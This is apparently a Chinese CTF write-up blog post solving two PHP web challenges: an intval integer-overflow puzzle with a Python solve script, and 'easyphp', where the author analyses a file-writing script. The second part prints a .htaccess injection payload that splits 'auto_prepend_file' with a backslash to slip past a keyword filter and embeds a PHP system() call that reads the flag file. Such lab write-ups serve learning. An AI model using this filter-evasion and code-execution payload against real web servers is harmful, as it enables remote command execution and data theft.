[NCTF 2018]小绿草之最强大脑+[羊城杯 2020]easyphp
https://www.ctfer.vip/problem/962
书买好了,但是感觉还是有很多担忧的,算辣,考研就嗯干辣,管他的,但是每天应该还是会刷一点题,只是不会都写出来,比如以前写过的wp或者那种很简单的,或者写过很久的知识的那些,大概两天或者三天一更?

好了言归正传:
[NCTF 2018]小绿草之最强大脑
hint:WEB 源码泄露 PHP
评分:2.8⭐
一来貌似是很正常的数字加减,然鹅源码泄露,扫嘛,或者你自信去试。

这里index.php.bak看到源码:

这里肯定和if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){这句判断有关,那就搜索一下intval相关知识点,加上21位的关键词,搜索到:
md直接看到wp了,那看来考点就是这个了:
https://www.jianshu.com/p/eef45cd643c8
intval为了防止程序整数溢出,在处理超过2^32时会改变值,也就是在这里超过21位时会改变处理值:
php echo intval('4200000000000000000000');
32位系统:2147483647 64位系统:9223372036854775807
那我们输入的数得到的值和实际处理得到的值肯定不同,那就上脚本咯:
import requests
import re
import time
s = requests.Session() # 因为要连续计算,用来保存当前会话的持续有效性
url = "http://ctfgame.acdxvfsvd.net:20004/"
number ="4200000000000000000000" #输入的数字
r = s.get(url)
math = ''
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0',
}
while(1):
num_pattern =re.compile(r'<div style="display:inline;">(.*?)</div>')
num = num_pattern.findall(r.text) #正则提取公式
gg = "9223372036854775807"+'+'+math.join(num)[0:-1] #拼接真实的公式
print(gg)
ans = eval(gg) #利用eval直接来计算结果
print(ans)
data = "input={number}&ans={ans}%".format(number=number,ans=ans)
r =s.post(url,headers=headers,data=data)
time.sleep(1.5 #延时1.5秒
print(r.text)
把地址改一下跑脚本得到:


[羊城杯 2020]easyphp
hint:web php .htaccess
评分:暂时无评分
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
分析源码:
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
一个遍历和删除,意思就是不是index.php页面就删除页面
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
不用多说,让你传这两个参数,没有就直接退出
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
禁用了on,html,type,flag,upload,file这些东西
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
只能由小写字母,和.构成filename,因为这里检测的是返回值:
返回值
返回 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。preg_match_all() 不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。
然后又是一个检测页面,最后:
file_put_contents($filename, $content . "\nHello, world");
这是针对传入内容的过滤,防止我们直接传入一句话木马,如果我们直接传入一句话木马进其他php可以发现:

直接当作html输出了,可能这跟检查index.php内容有关,他可能只解析index.php,那把木马传入index.php呢,我发现有wp写了这个操作,但是我自己上传和利用他的去上传都连接不上蚁剑,也没有实现该操作的图,且其他人的wp并未提到这个操作,这里对这个操作存疑。
那么根据hint,我们联想到利用传入.htaccess文件去改变配置项,为什么不用.user.ini是因为该文件的使用还得包含php文件,我不会= =这里好像也利用不了。
那么我们就老实的学习新操作咯:
https://blog.csdn.net/qq_54929891/article/details/125573638
https://blog.51cto.com/u_14449312/3867338
payload:
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?');?>\
由果求因一波:
首先是:php_value auto_prepend_fil\
e .htaccess
拼接起来:php_value auto_prepend_file .htaccess
也就是.htaccess设置开头自动包含和环境变量的格式:
#format
php_value setting_name setting_value
#example
php_value auto_prepend_file .htaccess
这里为什么用/呢是因为首先存在对file的过滤,其次在.htaccess中\的作用是拼接上下文。
auto_prepend_file #在页面顶部加载文件
auto_append_file #在页面底部加载文件
其次是: #<?php system('cat /fla?');?>\
同样的,#在htaccess文件中是注释符的意思,但是在执行php文件中会直接执行后面的一句话,\的作用是注释后面的拼接,以执行命令。
